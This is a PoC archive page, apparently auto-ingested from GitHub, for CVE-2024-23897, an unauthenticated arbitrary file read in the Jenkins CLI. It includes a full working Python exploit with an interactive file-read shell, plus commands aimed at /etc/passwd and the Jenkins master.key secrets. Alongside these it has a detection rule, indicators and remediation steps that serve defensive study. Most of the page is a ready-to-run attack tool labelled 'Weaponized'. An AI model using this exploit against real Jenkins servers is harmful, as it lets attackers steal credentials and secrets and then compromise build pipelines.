PoC Archive PoC Archive
Critical CVE-2024-23897 unpatched

Jenkins CLI Arbitrary File Read to RCE (CVE-2024-23897)

by godylockz (source PoC), Jenkins/SonarSource advisory ecosystem · 2026-05-17


Metadata

FieldValue
Date Added2026-05-17
Author / Researchergodylockz (source PoC), Jenkins/SonarSource advisory ecosystem
CVE / AdvisoryCVE-2024-23897
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3)
StatusWeaponized
Tagsarbitrary-file-read, Jenkins, CLI, credential-theft, RCE, unauthenticated, KEV
RelatedN/A

Affected Target

FieldValue
Software / SystemJenkins controller (CLI endpoint)
Versions AffectedJenkins <= 2.441, Jenkins LTS <= 2.426.2
Language / PlatformJava, Jenkins web/controller deployments
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2024-23897 is an arbitrary file read vulnerability in the Jenkins CLI command parser. The parser expands arguments that start with @ and can disclose controller-local files to unauthenticated attackers in common deployments. This disclosure can expose secrets and credentials (for example key material and user data), enabling attacker pivoting to full Jenkins compromise and remote code execution paths. The vulnerability is listed in CISA KEV and has been publicly associated with RansomEXX activity.


Vulnerability Details

Root Cause

Jenkins CLI argument parsing did not safely disable or constrain @file expansion behavior in affected versions. When user-supplied CLI arguments include @<path>, parser behavior can read and return local file content from the Jenkins controller filesystem.

Attack Vector

A remote attacker with network access to the Jenkins web/CLI endpoint sends crafted CLI requests (for example through /cli?remoting=false) that pass @-prefixed file paths. Returned output can leak sensitive plaintext fragments and operational secrets.

Impact

  • Arbitrary local file disclosure from Jenkins controller hosts.
  • Credential and secret extraction that can enable account takeover.
  • Escalation chain to remote code execution through compromised Jenkins credentials/tokens and build pipeline abuse.

Environment / Lab Setup

OS:          Linux attacker host with Python 3
Target:      Authorized Jenkins instance in vulnerable version range
Attacker:    Security testing workstation
Tools:       Python 3, requests, network access to Jenkins HTTP(S)

Setup Steps

1
2
cd pocs/web/2026-05-17_jenkins-cli-arbitrary-file-read-rce
python3 -m py_compile jenkins_fileread.py

Proof of Concept

Step-by-Step Reproduction

  1. Confirm authorized scope and reachable Jenkins endpoint.

    1
    
    curl -I http://<jenkins-host>:8080/login
    
  2. Run the PoC and request a readable target file.

    1
    
    python3 jenkins_fileread.py -u http://<jenkins-host>:8080 -f /etc/passwd
    
  3. Attempt high-value file paths in authorized labs to validate disclosure impact.

    1
    
    python3 jenkins_fileread.py -u http://<jenkins-host>:8080 -f /var/jenkins_home/secrets/master.key
    

Exploit Code

See jenkins_fileread.py in this folder.

1
2
3
import requests

target = "http://<jenkins-host>:8080"

Expected Output

Welcome to the Jenkins file-read shell. Type help or ? to list commands.
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

Screenshots / Evidence

  • screenshots/ — add authorized captures of CLI request/response and extracted file fragments.

Detection & Indicators of Compromise

- Requests to /cli?remoting=false with unusual Session/Side headers
- Repeated command arguments containing '@/' file-path patterns
- Unexpected reads of Jenkins secrets and user configuration files

SIEM / IDS Rule (example):

alert http any any -> $HOME_NET any (
  msg:"Possible Jenkins CVE-2024-23897 file-read attempt";
  flow:to_server,established;
  content:"/cli?remoting=false"; http_uri;
  content:"@/"; http_client_body;
  sid:952423897; rev:1;
)

Remediation

ActionDetail
PatchUpgrade Jenkins to fixed releases (2.442+ or LTS 2.426.3+) per Jenkins advisory
WorkaroundRestrict/disable CLI endpoint exposure and enforce authentication controls
Config HardeningRotate Jenkins secrets/tokens, restrict controller filesystem access, and monitor anomalous CLI usage

References


Notes

Auto-ingested from https://github.com/godylockz/CVE-2024-23897 on 2026-05-17.

jenkins_fileread.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
#!/usr/bin/env python3
# DISCLAIMER: For authorized security research and defensive testing only.
# -*- coding: utf-8 -*-
"""
This script is used to exploit CVE-2024-23897 (Jenkins file-read).
This script was created to parse the output file content correctly.
Limitations: https://www.jenkins.io/security/advisory/2024-01-24/#binary-files-note
"""

# Imports
import argparse
from cmd import Cmd
import os
import re
import requests
import struct
import threading
import time
import urllib.parse
import uuid
import base64

# Disable SSL self-signed certificate warnings
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


# Constants
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
ENDC = "\033[0m"
ENCODING = "UTF-8"


class File_Terminal(Cmd):
    """This class provides a terminal prompt for file read attempts."""

    intro = "Welcome to the Jenkins file-read shell. Type help or ? to list commands.\n"
    prompt = "file> "
    file = None

    def __init__(self, read_file_func):
        self.read_file = read_file_func
        super().__init__()

    def do_cat(self, file_path):
        """Retrieve file contents."""
        self.read_file(file_path)

    def do_exit(self, *args):
        """Exit the terminal."""
        return True

    default = do_cat


class Op:
    ARG = 0
    LOCALE = 1
    ENCODING = 2
    START = 3
    EXIT = 4
    STDIN = 5
    END_STDIN = 6
    STDOUT = 7
    STDERR = 8


def send_upload_request(uuid_str, file_path):
    time.sleep(0.3)

    try:
        # Construct payload
        data = jenkins_arg("connect-node", Op.ARG) + jenkins_arg("@" + file_path, Op.ARG) + jenkins_arg(ENCODING, Op.ENCODING) + jenkins_arg("en", Op.LOCALE) + jenkins_arg("", Op.START)

        # Prepare headers with authentication if provided
        headers = {
            "User-Agent": args.useragent,
            "Session": uuid_str,
            "Side": "upload",
            "Content-type": "application/octet-stream",
        }
        
        if args.username and args.password:
            auth_str = f"{args.username}:{args.password}"
            auth_bytes = auth_str.encode('ascii')
            base64_auth = base64.b64encode(auth_bytes).decode('ascii')
            headers["Authorization"] = f"Basic {base64_auth}"

        # Send upload request
        r = requests.post(
            url=args.url + "/cli?remoting=false",
            headers=headers,
            data=data,
            proxies=proxies,
            timeout=timeout,
            verify=False,
        )

    except requests.exceptions.Timeout:
        print(f"{RED}[-] Request timed out{ENDC}")
        return False
    except Exception as e:
        print(f"{RED}[-] Error in download request: {str(e)}{ENDC}")
        return False


def jenkins_arg(string, operation) -> bytes:
    out_bytes = b"\x00\x00"
    out_bytes += struct.pack(">H", len(string) + 2)
    out_bytes += bytes([operation])
    out_bytes += struct.pack(">H", len(string))
    out_bytes += string.encode("UTF-8")
    return out_bytes


def safe_filename(path):
    # Get the basename of the path
    safe_path = path.replace("/", "_")
    # Replace non-alphanumeric characters (except underscores) with underscores
    safe_name = "".join(c if c.isalnum() or c == "_" else "_" for c in safe_path)
    return safe_name


def send_download_request(uuid_str, file_path):
    file_contents = b""
    try:
        # Prepare headers with authentication if provided
        headers = {
            "User-Agent": args.useragent,
            "Session": uuid_str,
            "Side": "download"
        }
        
        if args.username and args.password:
            auth_str = f"{args.username}:{args.password}"
            auth_bytes = auth_str.encode('ascii')
            base64_auth = base64.b64encode(auth_bytes).decode('ascii')
            headers["Authorization"] = f"Basic {base64_auth}"

        # Send download request
        r = requests.post(
            url=args.url + "/cli?remoting=false",
            headers=headers,
            proxies=proxies,
            timeout=timeout,
            verify=False
        )

        # Debug response
        if args.verbose:
            print(f"{YELLOW}[*] Response status code: {r.status_code}{ENDC}")
            print(f"{YELLOW}[*] Response headers: {r.headers}{ENDC}")
            print(f"{YELLOW}[*] Raw response (hex):{ENDC}")
            print(r.content.hex())

        # Parse response content
        response = r.content
        if response:
            if b"No such file:" in response:
                print(f"{RED}[-] File does not exist{ENDC}")
                return False
            elif b"Authentication required" in response:
                print(f"{RED}[-] Authentication failed. Please check your credentials.{ENDC}")
                return False
            
            # Process the response content
            content_lines = []
            lines = response.split(b"\n")
            
            for line in lines:
                # Remove null bytes
                line = line.replace(b"\x00", b"")
                
                # Skip empty lines and pure error messages
                if not line.strip() or line.strip() == b"ERROR:":
                    continue
                
                # Handle "No such agent" lines - extract content from error message
                if b": No such agent" in line:
                    # Get the content before the error message
                    content = line[:line.find(b": No such agent")]
                    
                    # Check if this is a variable assignment
                    if b"=" in content:
                        var_name, var_value = content.split(b"=", 1)
                        # Try to extract the actual value from quotes in the error message
                        match = re.search(b'"([^"]*)"', line)
                        if match:
                            # Extract just the value part after the equals sign
                            error_content = match.group(1)
                            if b"=" in error_content:
                                # If the quoted content contains an equals sign, take everything after it
                                error_content = error_content.split(b"=", 1)[1]
                                # Check if the original value was quoted
                                if var_value.strip().startswith(b'"'):
                                    content = var_name + b'="' + error_content + b'"'
                                else:
                                    content = var_name + b"=" + error_content
                    else:
                        # Not a variable assignment, try to extract quoted content
                        match = re.search(b'"([^"]*)"', line)
                        if match:
                            content = match.group(1)
                    
                    if content.strip():
                        content_lines.append(content.strip())
                # Handle direct content lines (not error messages)
                elif b"ERROR:" not in line and line.strip():
                    content_lines.append(line.strip())
            
            # Join all valid content lines
            if content_lines:
                file_contents = b"\n".join(content_lines)
            else:
                # For very small files that might appear in error messages
                error_content = response.replace(b"\x00", b"").strip()
                if error_content and b"ERROR:" not in error_content:
                    file_contents = error_content

    except requests.exceptions.Timeout:
        print(f"{RED}[-] Request timed out{ENDC}")
        return False
    except Exception as e:
        print(f"{RED}[-] Error in download request:{ENDC} {str(e)}")
        return False

    # Save file
    if args.save:
        safe_path = safe_filename(file_path).strip("_")
        if not os.path.exists(safe_path) or args.overwrite:
            with open(safe_path, "wb") as f:
                f.write(file_contents)
            if args.verbose:
                print(f"{YELLOW}[*] File saved to {safe_path}{ENDC}")
        else:
            if args.verbose:
                print(f"{YELLOW}[*] File already saved to {safe_path}{ENDC}")

    # Print contents
    if file_contents:
        try:
            # Try to decode as UTF-8 first
            decoded_content = file_contents.decode(ENCODING, errors="replace")
            if args.verbose:
                print(f"{YELLOW}[*] Decoded content length: {len(decoded_content)}{ENDC}")
            
            # Handle single-line content (like version numbers)
            if not decoded_content.strip().count('\n'):
                print(decoded_content.strip())
            else:
                # Split into lines and print each non-empty line
                for line in decoded_content.splitlines():
                    if line.strip():
                        print(line)
        except UnicodeDecodeError:
            # If UTF-8 fails, try to print as hex
            print(f"{YELLOW}[*] Binary content detected. Showing hex dump:{ENDC}")
            print(file_contents.hex())
    else:
        print("<empty>")

    return True


def read_file(file_path):
    # Create random UUID
    uuid_str = str(uuid.uuid4())

    # Send upload/download requests
    upload_thread = threading.Thread(target=send_upload_request, args=(uuid_str, file_path))
    download_thread = threading.Thread(target=send_download_request, args=(uuid_str, file_path))
    upload_thread.start()
    download_thread.start()
    upload_thread.join()
    download_thread.join()


if __name__ == "__main__":
    # Parse arguments
    parser = argparse.ArgumentParser(description="POC for CVE-2024-23897 (Jenkins file read)")
    parser.add_argument("-u", "--url", type=str, required=True, help="Jenkins URL")
    parser.add_argument(
        "-a",
        "--useragent",
        type=str,
        required=False,
        help="User agent to use when sending requests",
        default="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
    )
    parser.add_argument("-f", "--file", type=str, required=False, help="File path to read")
    parser.add_argument("-t", "--timeout", type=int, default=3, required=False, help="Request timeout")
    parser.add_argument("-s", "--save", action="store_true", required=False, help="Save file contents")
    parser.add_argument("-o", "--overwrite", action="store_true", required=False, help="Overwrite existing files")
    parser.add_argument("-p", "--proxy", type=str, required=False, help="HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)")
    parser.add_argument("-v", "--verbose", action="store_true", required=False, help="Verbosity enabled - additional output flag")
    parser.add_argument("--username", type=str, required=False, help="Jenkins username for authentication")
    parser.add_argument("--password", type=str, required=False, help="Jenkins password or API token for authentication")
    args = parser.parse_args()

    # Input-checking
    if not args.url.startswith("http://") and not args.url.startswith("https://"):
        args.url = "http://" + args.url
    args.url = urllib.parse.urlparse(args.url).geturl().strip("/")
    if args.proxy:
        proxies = {"http": args.proxy, "https": args.proxy}
    else:
        proxies = {}
    timeout = args.timeout

    # Execute
    if args.file:
        read_file(args.file)
    else:
        File_Terminal(read_file).cmdloop()